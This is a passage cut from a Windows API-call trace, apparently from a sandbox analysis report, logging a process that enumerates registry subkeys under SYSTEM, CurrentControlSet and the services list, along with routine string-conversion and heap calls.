lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.207] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0166.208] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.208] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.208] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1460, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.208] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1418, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.208] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0166.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.209] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.209] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.209] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0166.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.209] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.210] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1418, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.210] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0166.210] RegCloseKey (hKey=0x140) returned 0x0 [0166.210] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.210] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0166.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.211] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.211] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.211] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0166.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.211] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0166.211] RegCloseKey (hKey=0x9c) returned 0x0 [0166.212] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.212] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1460, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.212] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1418, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.212] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1460, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0166.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.213] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1418, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.213] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.213] WideCharToMultiByte (in: CodePage=0x0, 